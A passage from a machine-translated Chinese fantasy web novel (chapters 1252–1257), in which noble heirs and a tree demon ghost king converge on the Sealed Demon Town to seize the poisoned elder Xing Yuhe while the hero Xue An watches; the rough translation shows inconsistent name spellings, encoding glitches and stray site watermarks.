    Because of the commander, but the top power in Jingguo, the eldest daughter of the Baili family, Baili Shaoguang, known as the dark princess.


    So after a little hesitation, the man waved his hand, "Go!"


    The ghost convoy suddenly started to accelerate, then turned into a black light and disappeared on the vast ancient road.


    And the direction, it pointed directly at Fengdevil Town.

 Chapter 1252： All the rich and powerful

    Just when Baili Shaoguang was on his way.


    In the high altitude, there is also a team flying silently.


    In the middle of the line, there is a black sedan chair.


    At this moment, the sedan chair is shrouded in black light, flying at an eye-popping speed.


    This sedan chair does not look big from the outside, but inside it is extremely wide and luxuriously arranged.


    At this moment in the sedan chair, Zeng Jialiang, the eldest son of the Zeng family, was holding up his wine glass with a smile and arched his hand at the white-faced man on the opposite side.


    "Brother Jin, you and I have a drink together!"


    Jin Haorang shook slightly, and then he woke up from his thoughts, and then he also picked up a glass of wine and drank together.


    put aside the wine.


    Zeng Jialiang smiled slightly, "Seeing that Brother Jin has been absent-minded, but is he worrying about chance?"


    Jin Haoyang sighed when he heard the words, "Yes! Brother Zeng, to be honest, since I played Kyoto, I have been a little frightened. I always feel that this trip will not be so smooth!"


    Zeng Jialiang laughed, "When did Brother Jin believe it? The eldest son of the Jin family, the first emperor of Jingguo, wouldn''t he be afraid of it?"


    Jin Haorang smiled bitterly and shook his head, "Of course I am not afraid, and there is Zeng Shao here, I have more confidence!"


    Zeng Jialiang smiled arrogantly, noncommittal.


    Because of Kim Ho-yang''s honorable status, he is not bad at all.


    After all, if you want to talk about the great families of Jingguo, there will definitely be their Zeng family.


    "What is Brother Jin worried about?" Zeng Jialiang said lightly.


    Jin Haorang said solemnly: "This Xing family was also the pillar of Jingguo at the beginning, but because of disagreement with the royal family, it was eventually destroyed. Only this Xing Yuhe and Xing Yushu ran out. I didn''t expect this to be a few years. ! And shielded everything, making it impossible to find! It was not until these two days that we found his place through the strange poison in him!"


    "At this time, many of our powerful and powerful children in Jingguo almost moved in order to seize the chance of Xing Yuhe! But I think this thing doesn''t seem to be that simple!"


    Zeng Jialiang raised his eyebrows slightly, "Oh? Why did Brother Jin say that?"


    Jin Haorang pondered for a long time, and then said with a wry smile: "I can''t tell, maybe I''m suspicious, but I always feel that something unexpected will happen this time?"


    "You mean to say..." Zeng Jialiang was startled slightly.


    Jin Haoyang shook his head, "I''m not sure, just so suspicious!"


    Zeng Jialiang smiled, "It''s always right to be careful, but Brother Jin is a little too careful. With the current strength of you and me, the world can be used as much as possible. How can you be afraid of the dying old guy?"


    Jin Haoyang nodded, "That''s what I said, but this time Jingguo''s dignitaries are almost all dispatched, so you and I have to be one step ahead, otherwise, if you miss the opportunity, you will fall short."


    "Hehe! Just rely on those gang of wine bags and rice bags?" Zeng Jialiang''s face showed a touch of disdain.


    Jin Haorang smiled, "The guys who usually only show off the flowers and the willows are naturally not counted, but this time it is important. I heard that...The Lord of the Sheriff also seems to have come out himself!"


    The four words for the lord of the princess seem to have magical powers. Zeng Jialiang, who just had an indifferent look, couldn''t help turning white after hearing the words, and then slowly exhaled.


    "Bai Li Shaoguang that stinky lady also shot?"


    Jin Haorang nodded.


    "This is a bit tricky!" Zeng Jialiang muttered to himself, suddenly cruel, "It seems that the only thing we can do now is to find Xing Yuhe in front of the stinky lady!"


    said and waved his hand, a black air appeared in front of Zeng Jialiang, after whispering a few words.


    The black air disappeared.


    Then the speed of this sedan chair soared, and it started to rush to the distance quickly.


    "Come on, you and I continue to drink, even if Baili Shaoguang''s lady really comes, with you and me, can you really be afraid that she won''t make it?" Zeng Jialiang said with a smile.


    These words are more like cheering him up.


    Jin Haorang knew it well, but he just smiled, then raised his glass and continued to drink with Zeng Jialiang.


    Only a hint of worry flashed in his eyes.


    But whether it was the Baili Shaoguang who drove straight on the avenue or Zeng Jialiang who flew high in the sky, they didn''t notice the cold murderous intention hidden in the darkness after they passed by.


    If you draw a large circle with a radius of thousands of miles around the Feng Devil City, you will find that in this large circle, it is not the town that dominates, but the almost endless forest.


    The dense jungle almost obscures the entire land, with only one road passing through it, which can be regarded as connecting the sealed city with the outside world.


    And in this jungle that shelters the sky from the sun, even in the daytime, there is no sunlight at all.


    This kind of jungle is also called a ghost forest in awe by the people living nearby.


    Even if you are a true immortal powerhouse, once you enter this vast forest, you will disappear without a trace, and you will never be able to return.


    Don''t even talk about people, even wild beasts dare not approach this jungle.


    And in the middle of this vast forest, there is a huge tree almost standing upright ~ www.novelhall.com~ The bark of the giant tree is already old like dragon scales, and the trunk grows at a twisted angle of the knot. At first glance, it looks like a tyrannosaurus is crouching there.


    Around the giant tree, all the trees are bent over, like a king who worships them.


    And just now.


    I saw a few vines withdraw from the void, and then coiled around the foot of this giant tree.


    After a while, I saw that the giant tree began to tremble slightly, and the scalp rustling rustled as the branches shook.


    The surrounding trees trembled as far as the sound wave touched, causing this forest sea to surge in layers.


    Then I saw the black air before the giant tree, and instantly condensed into a middle-aged man with no anger and prestige.


    I saw that his whole body was covered by thick wooden armor, and his exposed eyes exuded a cold killing intent, and then he roared like crying and laughing: "That old man dare to kill my concubine, and Kill me?"


    The voice is harsh and unpleasant, and it is a mixture of male and female voices.


    As the roar came, many trees exploded to smash.


    Then the man said angrily: "At the beginning I gave this bull nose a face and allowed this small town to exist and didn''t provoke him, but I didn''t expect him to be so ignorant to promote. If so, then go to death!" .


    Following the voice, I saw that the trees in the sea of ??forest were bent over on both sides, and a road appeared, and then the branches of this giant tree stretched out to form a throne.


    The man sat on it, then cut through the layers of forest, and went straight to the sealed magic town in the distance.

 Chapter 1253： 1 lively

    "Big brother, do you think what I wrote is good?" Xiao Rui happily ran up to Xue An, holding a piece of paper cautiously in his hand.


    There are three big characters written on the paper.


    Qian Xirui.


    Xue An picked it up and looked at it carefully, "Not bad!"


    "Really?" Xiao Rui''s happy eyes lighted up.


    Xue An nodded and smiled: "You have just studied for a few days. It''s really good to write like this!"


    Xue An has been teaching these children how to write in the past few days.


    The one who has made the most progress is Xiao Rui.


    In just a few days, she was able to write many characters proficiently, and the best one was the name Xue An gave her.


    Received Xue An��s praise, Xiao Rui smiled happily, ��My mother shed tears of joy after seeing the name I wrote, and said that she must thank you, big brother!��


    Xue An smiled, but did not speak.


    After this time of getting along, his relationship with the residents of these small towns has become more harmonious.


    Especially Xiao Rui��s mother, because she is grateful to Xue An for taking care of the children, she often sends some food she made by herself.


    In this regard, Xue An did not decline.


    Because during this period of time, there has been more than one person giving him food, and among them, there are many shy girls sneaking over and putting the snacks they made by themselves at the door.


    But after Xue An got the snacks, he didn''t look at them much, so he gave them to the children.


    If it weren''t for doing this, it''s estimated that they would have come directly to him and talk to him.


    at the same time.


    in that vermilion small building.


    Xing Yuhe exhausted his last bit of strength, and finally finished all what he needed to tell Xing Yushu.


    Then he lay on the bed weakly, his complexion was not pale, but an abnormal blush appeared.


    Xing Yushu''s heart gradually sank, because he knew well that once this symptom appeared, it meant that his grandfather was close to the point where his oil was exhausted.


    This made him tremble all over, tears shining in his eyes.


    "Grandpa..."


    Xing Yuhe waved his hand gently, and then a faint smile came out from the corner of his mouth, "I''m fine, I can hold it for a while! Do you remember what I said... before?"


    Xing Yushu nodded vigorously, tremblingly: "Remember!"


    "That''s good! Remember, after I die, you will leave here as I said, don''t stay here, understand?"


    "Yes...Yes! But if I leave, what about Feng Devil Town?" Xing Yushu asked tremblingly.


    A wry smile appeared on Xing Yuhe''s face.


    "This Sealed Demon Town originally took us in, and we have also protected them for so many years, but now I can''t hold it anymore! I repaired the Fu seal two days ago. Under normal circumstances, we can continue to protect this Sealed Demon Town. In ten years, after ten years, you should have learned something, and come back and take a look! After all, you can''t be tied to this for the rest of your life!"


    Xing Yushu could only lower his head when he heard this.


    In his short ten-year life, the town of Demon Sealing occupies an extremely important position.


    Because of the fine clothes and food, the carefree and superior life of childhood, it has become very fuzzy because of being too young.


    Only this enchanted town occupied most of his youth and became his second hometown.


    That''s why he is so hard to leave.


    Xing Yuhe understood all this naturally, and couldn''t help but stretch out his skinny arm, gently stroke his cheek, and whispered softly.


    "Stupid boy, do you really think you can change anything by staying here? The ghost king in that ghost forest will understand it sooner or later. By then, your current strength will not be enough to deter him, so you can only become stronger. Only after ten years can I protect the residents of this small town!"


    "Yes! Yushu understands!" Xing Yushu took a deep breath and slowly said.


    Xing Yuhe smiled and nodded, but at this moment, he suddenly raised his eyes, there was a terrifying light in his eyes, and he shouted in surprise.


    "What''s the matter? Did you come here?"


    Xing Yushu was surprised, "What''s the matter, Grandpa?"


    The expression on Xing Yuhe''s face became more and more ugly, and he suddenly said in a solemn voice: "The pill left by Mr. Ghost!"


    Xing Yushu hurriedly took out the jade bottle from his arms. After pouring it out, Xing Yuhe swallowed it in one bite, then closed his eyes, his face began to change.


    Xing Yushu felt that all his hairs were standing up, because he really didn''t know what happened.


    At the same time.


    Xue An, who was teaching a group of children to write in the small courtyard, suddenly raised his head and looked at the distant sky, a cold smile appeared at the corner of his mouth.


    "It was quite lively!"


    Talking, Xue An turned his head to look at Zhu Hong Xiaolou, and said lightly: "It seems that I''m right. The poison on your body will not only kill you, but it can also serve as a positioning coordinate!"


    Xiao Rui didn''t know what happened, she couldn''t help but looked at Xue An with some doubts, "Big brother, what''s wrong? Did something happen?"


    Xue An smiled slightly, "It''s nothing, it''s just a lively event!"


    "Lively?" Xiao Rui was a little dazed.


    Xue An smiled, raised his head and looked at the sparse night sky with stars and moons, and said lightly: "Yes, it''s a big show!"


    At this time, after Xing Yuhe in the vermilion small building swallowed the pill, his body appeared Guanghua, the wrinkles on his face were rapidly diminishing, and even the gray hair turned black in a moment.


    Such wonders made Xing Yushu stunned He never expected that the pill left by Mr. Yaogui would have such a powerful effect.


    Doesn''t it mean that grandpa can survive?


    Xing Yushu''s heart is full of hope.


    At this moment, I saw Xing Yuhe Huo Ran open his eyes, jumped up from the bed, and then rushed out directly.


    Xing Yushu was slightly startled, and hurriedly followed.


    After swallowing the medicine, Xing Yuhe''s speed was terrifying, but he flew to the wall in a short time.


    Xing Yushu is worthy of arriving, some panting said: "Grandpa, why..."


    Before he finished speaking, he paused.


    Because he already knows the answer.


    At the end of the ancient road outside the city, a group of people appeared.


    At the beginning, Xing Yushu was not sure what it was.


    Because the distance is too far, looking at it from a distance, only a little black shadow can be seen.


    But after only a few breaths, this team traversed a very long distance at an extremely terrifying speed and came to the city.


    At this time, Xing Yushu was shocked to discover that this was actually a ghost convoy that seemed to have come out of hell.


    The all-black carriages and horses stopped quietly on the ancient roads under the city, there was no sound, not even a trace of extra breath.


    Yes, it''s just the steaming black gas over this weird convoy. .


    Seeing this scene, Xing Yuhe''s face instantly became extremely ugly, and then he said every word.


    "The Baili Family!"

 Chapter 1254： Tarsus Maggot 1 battle

    The voice is full of bitter hatred.


    Following his voice, he heard a chuckle from the convoy.


    Then the curtain of the carriage was picked up, a black mist filled it, and a woman with as cold as ice and pure black lips emerged from it.


    Then the woman raised her head and looked at Xing Yuhe standing above the city, with a cold smile on her face.


    "Xing Yuhe, long time no see!"


    Xing Yuhe''s face sank like water, staring at the Baili Shaoguang, and then said in a cold tone: "You are really like tarsal maggots, you can find them even here!"


    Baili Shaoguang chuckled, "Xing Yuhe, if it wasn''t because your cultivation level was too deep and suppressed the toxins in your body, do you really think we would not be able to find you?"


    Xing Yuhe was taken aback when he heard the words, and then he suddenly realized, "It turns out that it was the poison I was in, the leaked trace?"


    Baili Shaoguang nodded, "Yes!"


    As she said, she raised her head and stared at Xing Yuhe coldly, "Don��t talk nonsense, Xing Yuhe, you are a wise man, and you naturally understand why I��m here! Now that you obediently hand over the chance, I can let it go. You, and the town behind you!"


    Xing Yuhe smiled, his smile full of sarcasm, "You have said this more than once ten years ago, but do you think I will believe it?"


    Baili Shaoguang''s complexion sank, "Xing Yuhe, don''t think I''m afraid of you anymore. You must know that since you can no longer suppress the poison in your own, it proves that you are already at the end of the force, and then make unnecessary struggles, just let you Just die faster!"


    Xing Yuhe laughed, then turned to look at his grandson, "Yu Shu, can you read it clearly now? This is the person that our Xing family spent so much effort to protect at the beginning!"


    Xing Yushu''s eyes were like iron, staring at Baili Shaoguang, and then nodded, "I see it!"


    "Well, remember their faces, and in the future, we will pay back ten times the hatred of our Xing family!"


    "Yes!"


    Baili Shaoguang snorted coldly when he heard the words, "I''m looking for death!"


    After that, she waved her hand.


    A little black light appeared behind her, and the leader was the man who led the way.


    After these black lights dispersed, it was filled with ghosts and charms floating in the air. Then they bowed towards Baili Shaoguang, "Princess!"


    Baili Shaoguang pointed forward and said coldly: "Exterminate this town and capture Xing Yuhe alive!"


    "Yes!"


    gave an order, but saw that this endless ghost turned into a black torrent and directly attacked the Sealed Demon Town.


    But when they just rushed into the range of two hundred feet, the talisman seal on the city wall released a bright golden light.


    As pointed out by ���� Guanghua, these black lights wailed miserably, and then disappeared.


    can face this, Baili Shaoguang did not show the slightest movement, instead he snorted coldly, his long hair danced without wind, the black light around his body increased tenfold in an instant, and he blasted away mightily.


    Despite the brilliance of the golden light, he was still unable to face the impact of so much black energy.


    I saw the city wall trembled slightly, obviously it had reached its limit.


    was at this moment, but seeing Xing Yuhe let out a cold drink, the brilliance loomed in his eyes, and his hands sealed, "Lim! Soldier!"


    As soon as the mantra of ���� came out, a huge talisman seal blasted towards Baili Shaoguang.


    Baili Shaoguang��s face showed a solemn look, and with a wave of his hand, he saw that the black air that had just filled the surrounding area had condensed into a heavy shield, and he fought against this talisman.


    Boom!


    After a muffled noise.


    Baili Shao couldn''t help but backed more than a dozen steps, his face turned pale.


    And Xing Yuhe also shook his figure, but he didn''t step back, the brilliance in his eyes became brighter.


    At the same time, the entire town has been alarmed. Everyone dared not come over, but they all stood on the street and looked up.


    Xing Yushu''s heart tightened, and he said in surprise: "Grandpa!"


    Xing Yuhe waved his hand, motioned him not to speak, then took a deep breath, and slowly said to Baili Shaoguang outside the city: "Baili Shaoguang, with this palm, you should understand my current strength, I have no intention Kill you, leave now quickly, I won''t hold it again!"


    Baili Shaoguang heard the words, his eyebrows raised slightly, and he looked at Xing Yuhe with some fear.


    Because of the palm just now, she really didn''t ask for a favor.


    This can''t help making her feel surprised.


    Could it be that his guess was wrong, this guy''s strength hasn''t been compromised at all?


    When she was hesitating, she heard a chuckle from Gao Kongzhi.


    "My lord, you really came one step earlier than us!"


    Hearing this voice, Baili''s bright complexion instantly became ugly, and then said coldly.


    "Zeng Jialiang!"


    "Yes, it is Xiao Ke!"


    Following the voice, I saw a black-painted sedan chair appearing in front of everyone out of thin air, and then the sedan curtain was lifted, Zeng Jialiang and Jin Haorang walked out one after another.


    The appearance of these two made the situation on the court suddenly become more tense.


    Especially Xing Yuhe, I saw him gritted his teeth and said in a deep voice: "Zeng family, Jin family!"


    "Yes, after the Zeng family, I met Senior Xing!" Zeng Jialiang smiled and arched his hands.


    Xing Yuhe''s face sinks like water.


    and then Zeng Jialiang smiled at Baili Shaoguang, "My lord, although you came earlier than anyone else, UU reading seems to have taken advantage of it!"


    "Humph!" Baili Shaoguang snorted coldly, with killing intent looming in his eyes.


    Jin Haoyang suddenly smiled at this time, and then said loudly: "My lord, Brother Zeng, now is not the time to quarrel, if we delay any longer, more and more people will come later, it is better to join hands now Come to deal with this Xing Yuhe together, and after catching him, discuss how to allocate opportunities? What do you think?"


    This proposal perfectly fits Kim Ho-yang''s identity.


    After all, he is a kid of the Jin family who is famous for his business.


    And Baili Shaoguang and Zeng Jialiang nodded one after another after thinking about it, and agreed to Jin Haoyang''s proposal.


    Xing Yushu was furious when he saw this, because from the beginning to the end, the attitude of these guys was to treat his grandfather as a piece of goods.


    How can this not make Xing Yushu angry.


    But Xing Yuhe didn''t have any impatience. He just carried his hands on his back and looked coldly.


    At the same time, the residents of the entire Sealed Demon Town raised their throats in their hearts.


    Although I don��t know who the person is, since he is against Mr. Xing, he is naturally a bad person.


    Xiaorui thought so too, but she was even more worried about the safety of her elder brother and couldn''t help turning her head to look at her secretly. .


    Then she was stunned.


    Because at this moment Xue An, standing behind the crowd, with an unclear smile on his face, but did not look at the city wall, but through the layers of darkness, looking at the distant sky, and then whispered softly: "Come on. It��s pretty fast, but that��s how it saves me much trouble!"

 Chapter 1255： Both hands are like a lotus

    At this time, the three people of Baili Shaoguang, who had already formed an alliance, did not talk nonsense, and directly killed Xing Yuhe.


    Now you can see the strength gap between the three.


    Regardless of the momentum or the cultivation base, Baili Shaoguang has to stabilize Zeng Jialiang and Jin Haorang.


    However, the two of them were not to be outdone.


    But hell, the black light flickered.


    The three of them joined forces to form a black torrent and went straight to Xing Yuhe on the wall.


    Xing Yuhe''s face sank like water, and he shouted coldly: "Waiting here!"


    After that, he flew away from the city wall and left the protection range of the golden talisman.


    "Grandpa!" Xing Yushu screamed, anxiousness appeared in his eyes.


    But he didn''t dare to move, because he understood that the reason why Xing Yuhe left the defensive wall and chose to face the black torrent alone was to preserve the talisman that had worked so hard to repair.


    And Xing Yuhe has paid such a big sacrifice, the only thing he can do is to live well on the wall.


    Although he understood these truths in his heart, Xing Yushu couldn''t help but began to tremble, and tears flowed from his eyes.


    If possible, he really wants to rush up with his grandfather and have a good fight with these guys.


    at the same time.


    The three of Baili Shaoguang saw Xing Yuhe not retreating but advancing, and they actually left the blessing of the golden talisman, and rushed over directly, and they were all overjoyed.


    "Death!" Bai Li Shaoguang snorted coldly, his eyes flashed black, and the black energy in his body instantly increased a lot.


    Zeng Jialiang was no exception, and they urged their cultivation.


    So the scale of this black torrent instantly more than doubled, and it smashed into Xing Yuhe with an extremely terrifying power.


    Xing Yuhe did not panic. Instead, he stood in the air, then raised his hands on his chest, and began to seal frantically.


    The speed is so fast that the fingers even dragged out the phantoms in the air. At first glance, it looks like a blossoming lotus is blooming.


    Three Mountain Seals, Anger Zun Seals, Anti-Sky Seals, this Tan official will refer to...


    Various kinds of mysterious mudra are instantly completed, and finally turned into the most fundamental and stable, Taoist Tai Chi seal!


    The moment the handprints were formed, the black torrent also rushed forward.


    Hearing a loud boom, an invisible shock wave spread quickly, smashing the trees in front of the enchanted town.


    Then I saw Baili Shaoguang, Zeng Jialiang, and Jin Haoyang snorted together, and then backed more than ten feet away.


    But Xing Yuhe just shook his figure and took three steps back.


    This time, the audience was shocked.


    Baili Shaoguang''s complexion became extremely solemn, and looked at Xing Yuhe, who stood proudly in the air, with great dread.


    Xing Yushu''s heart originally mentioned his throat, but when he saw the scene in front of him, he couldn''t help but breathe out, and then shouted in surprise: "Grandpa!"


    Xing Yuhe ignored him, but looked at the three people opposite him coldly, "Go away now, I can spare your lives!"


    Upon hearing this, Zeng Jialiang and Jin Hoyang both looked suspicious, and then looked at each other.


    They didn''t expect that Xing Yuhe, who was supposed to be exhausted, would be so tyrannical. Looking at the current situation, his own strength is not his opponent at all.


    Therefore, both of them have retired.


    After all, no matter how precious the chance is, no one''s life is important.


    But Baili was radiant, but his face was cold, without the slightest retreat.


    Xing Yuhe raised his eyebrows when he saw this, and shouted with a cold voice: "Bai Li Shao Guang, are you not going to roll?"


    Baili Shaoguang looked at Xing Yuhe, who was full of anger, and the corners of his mouth gradually raised, revealing a smile that seemed like nothing.


    "Senior Xing, don��t be impatient, I just think you are brave and brave, senior! You are very admirable! But..."


    Baili Shaoguang turned around, "I wonder if you can resist us again?"


    "What do you mean?" Xing Yuhe shouted in a deep voice.


    "It''s very simple. As long as Senior Xing can withstand our blow again, the three of me will turn around and leave without saying a word, and will stop everyone who comes to disturb you. What do you think?" Baili Shaoguang said with a smile.


    Hearing these words, Zeng Jialiang and Jin Haorang''s eyes lit up, and then they all looked at Xing Yuhe.


    Xing Yuhe''s face was not waved by the ancient well, but a glimmer of brilliance flashed in his eyes, and then coldly said: "Okay! Since you are so unwilling to give up, the old man will play with you for a while!"


    Baili Shaoguang smiled happily, "If this is the case, then you are offended! Do it!"


    The words fall, but seeing her hair rise without wind, her teeth and claws are like tentacles.


    In front of her, black lights instantly condensed into a huge ghost head.


    "Hundred miles of unique learning, killing the gods!"


    Zeng Jialiang and Jin Haoyang all saw the origin of Baili Shaoguang��s attack, and they all shook together.


    Because this Slaughter God Jue is the unworldly knowledge of the Baili family!


    Seeing this scene, Zeng Jialiang and Jin Haoyang looked at each other, and then they urged their whole body to cultivate, using their own tricks to press the bottom of the box.


    This time the three brilliances gathered in one place, and the pressure formed was stronger than the last time.


    Wherever he went, the vegetation on the ground withered ~ www.novelhall.com ~ as if all the vitality had been absorbed by this blow.


    There was a dignified color in Xing Yuhe''s eyes, but he was still motionless, his hands were sealed again, and then turned into a tiger''s downhill mark, directly blasted out.


    A tiger roar shook the four fields, and then fell silent.


    Then I saw the place where the two hit each other, the space seemed to collapse slightly, and a terrifying shock wave was born, and then directly swept the vegetation within a radius of more than ten miles.


    At this point, Zeng Jialiang and Jin Haoyang couldn''t help but flew out directly, and then opened their mouths and vomited a mouthful of blood.


    Baili Shaoguang''s condition is slightly better, but it is not easy either.


    I saw her taking a dozen steps back, and a pale color appeared on her charming face.


    Looking at Xing Yuhe again, he only took three steps back, his expression still indifferent, and then stood with his hands holding hands, looking at the three people coldly.


    "Now, are you convinced?"


    Seeing this scene, there was a cheer in the Feng Devil Town.


    Especially Xing Yushu, trembling with excitement.


    "Master Xing is invincible in the world!"


    "Yes, Mr. Xing is really amazing!"


    Everyone began to applaud.


    But in this almost fanatical atmosphere, only Xue An looked indifferent, quietly looking at Xing Yuhe standing in the air, and then sighed softly. .


    Because he is the only one who knows what is going on.


    This Xing Yuhe himself has been exhausted, and the reason why he can be so brave and invincible now, fighting against the three of them and not retreating, obviously is to force all the potential through the secret technique or the pill.

 Chapter 1256： The tree monster ghost king takes a sharp turn

    can do this, there is only one consequence, that is, the soul is destroyed.


    Once this road is set off, there is no possibility of turning back.


    This is also the reason why Xue An has not shot.


    Because Xing Yuhe must die no matter whether he moves or not, it is better to let him accomplish his mission in his own way before he died.


    This time, the three of Baili Shaoguang were speechless.


    Especially Baili Shaoguang, this blow caused her a lot of injuries. The eyes looking at Xing Yuhe also had a deep sense of jealousy. Finally, she gritted her teeth and arched her hand at Xing Yuhe.


    "Senior is really amazing, juniors admire! Go!"


    After that, Baili turned around and left.


    As for Zeng Jialiang and Jin Haoyang, after seeing Baili Shaoguang leave, they turned around and wanted to leave too busy.


    Xing Yushu was excited, and then he walked up to Xing Yuhe, and then whispered: "Grandpa, we..."


    He wanted to say why he didn''t pursue the victory by killing all three of them.


    After all, the hatred between their Xing family and these nobles is insoluble.


    But I haven''t finished speaking yet.


    heard a terrifying laughter from the sky.


    This laughter is a mixture of male and female voices, and it is so acrid that it makes people get goose bumps all over.


    Upon hearing this laughter, Xing Yuhe''s expression changed greatly.


    The three people who were about to leave were even more startled, and then all looked up.


    But seeing the endless jungle in front of the devil city without wind, countless trees began to stretch their branches, and then all bend down and bow their heads, like a courtier welcoming the return of the king.


    Then I saw a black vortex occupying half of the sky flying towards Sealed Demon Town at a terrifying speed.


    Wherever he went, the earth cracked, the trees broke, and the sky was arrogant.


    In an instant, the whirlpool came to the front, and then the black light gradually dissipated, and a huge throne emerged from it.


    This throne is made up of black vines, dense and complicated, and exudes an extremely evil atmosphere.


    While above the throne, a man covered in wooden armor was sitting upright, looking at everything around him with interest.


    imposing.


    The whole sealed magic town and the land with a radius of thousands of miles are shaking slightly.


    The inhabitants of the city were even suppressed by the powerful force as early as when the black vortex was approaching, and they retreated to the distance, looking tremblingly.


    Xing Yushu''s face was as pale as paper, because seeing this throne, he suddenly remembered a person, someone his grandfather had told him so much.


    As expected.


    Just listen to Xing Yuhe standing in the air taking a deep breath, and slowly saying in a very solemn tone: "The tree demon ghost king, you are here too!"


    That''s right.


    The ����comer is the tree demon ghost king who is in charge of hundreds of thousands of miles of territory, powerful and powerful, and multiplies the boundless ghost forest.


    saw him laugh strangely, and then said gloomily: "The whole land is my ghost. Of course I will come and leave if I want to come! It''s you, Xing Yuhe!"


    Speaking of this, killing intent was looming in the voice of the tree demon ghost king.


    "When you see this king, aren''t you scared?"


    "Afraid? Lord Ghost King, it''s no longer a day or two for the old to guard here. We are not in the water between us. Why should I be afraid?" Xing Yuhe said solemnly.


    "Huh? Old fellow, are you pretending to be confused with me? Or, do you think that your strength is enough to challenge me?"


    With the voice of the tree monster ghost king, I saw countless vines rising from the ground, weaving and wandering behind the tree monster ghost king, like countless poisonous snakes, staring at Xing Yuhe and this sealed town.


    The situation changed drastically in an instant.


    And the three of Zeng Jialiang, who were going to come home from the feathers, were even brighter. Then Baili Shaoguang couldn��t wait to step forward, bowing to salute, and shouting respectfully: "Bai Li Shaoguang, the eldest daughter of the Baili family of Jingguo , I have seen Lord Ghost King!"


    The tree demon ghost king cast his eyes down and glanced at Baili Shaoguang, and Zeng Jialiang and Jin Haorang who were standing behind her, before smiling coldly.


    "You people from Jingguo are not staying in your own territory. What do you want to do when you come to me?"


    As a powerful man in charge of one party, coupled with the fact that he is very close to the territory of Jingguo, Jingguo will send envoys to him every year on weekdays to give him some gifts, and major families will also take this opportunity to show their response to him. Some respect.


    Therefore, the tree demon ghost king naturally also knows the composition of power in Jing Kingdom.


    Hearing the question of the tree demon ghost king, Zeng Jialiang and Jin Hoyang felt their scalp numb.


    Even though they are all practicing ghost teaching techniques, they still feel that there is a yin to cold air that wraps them tightly, as if the blood around them has been frozen.


    This made the two of them feel shocked.


    The power of the ghost king, is it so powerful?


    Baili Shaoguang, who stood in front, was under more pressure than the two of them, but even so, the smile on her face remained unchanged, even more fierce, and then said respectfully: "Master Ghost, we are here as a last resort. And when you pass through your realm, you have already obtained the consent of this jungle, you must not enter without permission!"


    "Huh! Forgive you for not dare!" The tree demon ghost king coldly snorted but the tone has been greatly slowed down.


    In fact, he knew it from the moment these three people entered his territory.


    Because without his approval, the three of them wouldn''t even want to come in.


    ''S anger just now was just to show his majesty.


    How could Baili Shaoguang not understand this truth, when she felt the pressure around her body lightened, she took two steps forward and looked up at the tree demon ghost king with respect.


    "Master Ghost King, listening to what you just said, you seem to be very dissatisfied with this Xing Yuhe?"


    "Hehe! What?" Then, the tree demon ghost king took a playful look at this Baili Shaoguang, and then said lightly: "What? Do you still want to ask me why I took in your Jingguo traitor?"


    Baili Shaoguang hurriedly bowed his head, "The little girl dare not! I just..."


    "Okay! Needless to say, I know your intentions, don''t you just want me to help you kill this Xing Yuhe! What''s so difficult? In front of me, he is just like a chicken and shingle dog, and he is simply vulnerable. "The tree demon ghost king said lightly.


    Even though Xing Yushu was frightened in his heart, he heard that the tree demon ghost king dared to slander his grandfather like this because of his unnatural nature. He raised his eyebrows and waited for an attack. .


    But at this moment, Xing Yuhe''s hand gently pressed his shoulder, signaled him not to move, and then whispered in his ear: "You can run as soon as I let you run. You can run as fast as you can. Come on, don''t look back, do you understand?"


    Hearing this command from his grandfather, Xing Yushu felt that there was a thud in his head, completely blank.

 Chapter 1257： All the opponents are in front

    Everything is going in a good direction, but why does this happen suddenly?


    "Have you heard? No matter what happens, don''t look back! Always remember, you are the descendant of the Xing family!" Xing Yuhe said softly, his expression very relaxed.


    Xing Yushu''s heart shrank into a ball, looked at Xing Yuhe blankly, and then nodded.


    At this time, Baili Shaoguang was overjoyed when he heard the words of the tree demon ghost king, and then he stooped again and again, "Thank you, ghost king, what I want is the opportunity of this old guy!"


    "Opportunity? Ha ha!" The tree demon ghost Wang Jiejie laughed strangely, then lowered his head and looked at Baili Shaoguang.


    "It''s not difficult for me to kill her for you, but how can you repay me?"


    Baili Shaoguang��s smile froze, "You mean..."


    "After everything is done, go back and accompany me for ten days, I will let you go, how about?"


    Baili Shaoguang��s eyes flashed with panic and anger, but immediately after weighing the pros and cons in her heart, she bowed her head deeply.


    "Everything please follow the instructions of Lord Ghost King!"


    "Hahahahaha! Good! Then you are a favor, I will help!" The tree demon ghost king laughed and said, then raised his head to look at Xing Yuhe, and then said playfully.


    "Old fellow, this king will ask you again now, do you know why I am here to kill you?"


    Xing Yuhe was silent for a moment, and then slowly said, "Is it because of the green-faced demon from the previous two days?"


    The tree demon ghost king smiled happily, "That idiot will die if he dies. How do I deserve to let me go there? I just ask you, who killed my concubine back then?"


    Xing Yuhe shook his whole body, and then suddenly what was going on, and then said with a wry smile: "What the ghost king said was the true fairy-level female ghost that appeared outside Fengde Town that day?"


    "of course!"


    Xing Yuhe shook his head and said sternly: "Ghost King Rongzi, whether it''s your concubine or the demon, it was not killed by the people in my sealed town!"


    "Hehe, go on!" The tree demon ghost king repeatedly sneered.


    "Whether you believe it or not! These two demons were definitely not killed by me, they should be the work of the strong passing by!"


    "Passing powerhouse?" The tree demon ghost Wang Yangtian laughed, "Old immortal, do you still want to fool me? In my territory, I know that a mosquito flies by, but it''s just two days. No strong man has flown!"


    Xing Yuhe''s complexion changed drastically, and he said in shock, "How is it possible? Then how did these two demons die?"


    "I still want to ask you! Old guy, do you want to quibble when you are dead?" The tree demon ghost king roared, and the vines began to disturb like a frightened group of snakes.


    Xing Yuhe''s complexion changed and he shouted in surprise: "Master Ghost, there must be a misunderstanding in this, you listen to me explain?"


    "Explanation? The explanation is that today you, and everyone in this small town, must die!"


    With the voice, I saw the vines pouring out of the nest, to cover the sky and the sun, straight to Xing Yuhe.


    Xing Yuhe always felt that there was an extremely important thing that he had missed, but the situation was so urgent that he couldn''t allow him to think about it, so he could only raise his hand and draw a talisman in the air at a very fast speed.


    "The world is in panic, Shino Zhang Zhang! Extinct!"


    Boom!


    The golden light exploded, and all the vines that rushed into the sky were turned into ashes in an instant.


    The tree demon ghost king snorted, obviously also slightly injured.


    But after the strong blow, the blood on Xing Yuhe''s face began to disappear at a speed visible to the naked eye, and the originally flat and clean forehead began to show wrinkles, and the black hair was instantly white.


    This scene stunned everyone.


    Baili Shaoguang shocked all over and shouted, "He really is bracing!"


    The voice is full of regret.


    Actually from the beginning, she had doubts about Xing Yuhe''s state.


    Because if he was really powerful, he would never let the three of him leave.


